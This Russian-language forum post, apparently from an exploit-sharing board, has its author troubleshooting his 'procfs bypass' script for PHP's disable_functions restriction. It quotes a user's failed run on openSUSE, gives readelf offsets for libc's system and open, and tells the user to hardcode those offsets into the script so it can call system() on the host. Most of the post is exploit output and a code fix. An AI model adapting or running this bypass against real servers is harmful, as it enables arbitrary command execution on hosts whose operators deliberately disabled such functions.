Показать сообщение отдельно
Старый 28.01.2015, 14:42   #9
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Цитата:
Сообщение от 12309 Посмотреть сообщение
opensuse, 3.11.10-7-desktop, php 5.4.20
не находит __libc_system и __open
Код:
13:28:44 /dev/shm/html> php procfs_bypass2.php[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)[*] Trying to get open@plt offset in PHP binary
[+] Offset is 0xb379e8[*] Libc location: /usr/lib64/libc-client.so.2007e_suse[*] Trying to get open and system symbols from Libc
PHP Notice:  Undefined variable: system_offset in /dev/shm/html/procfs_bypass2.php on line 88
PHP Notice:  Undefined variable: open_offset in /dev/shm/html/procfs_bypass2.php on line 88
[-] Failed. Exiting
ручками адреса находятся
Код:
13:34:16 /dev/shm> readelf -s /lib64/libc-2.18.so | egrep "\s(system|open)@@"
  1337: 0000000000041f20    94 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
  1679: 00000000000da760    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5
как их правильно вставить в скрипт?
Строчку
list($system_offset, $open_offset) = parseelf($r[1]);
поменять на
list($system_offset, $open_offset) = array(0x41f20, 0xda760);

Кстати, скрипт определил Libc location: /usr/lib64/libc-client.so.2007e_suse через /proc/self/maps. Наверное, из-за этого косяк.
Beched вне форума   Ответить с цитированием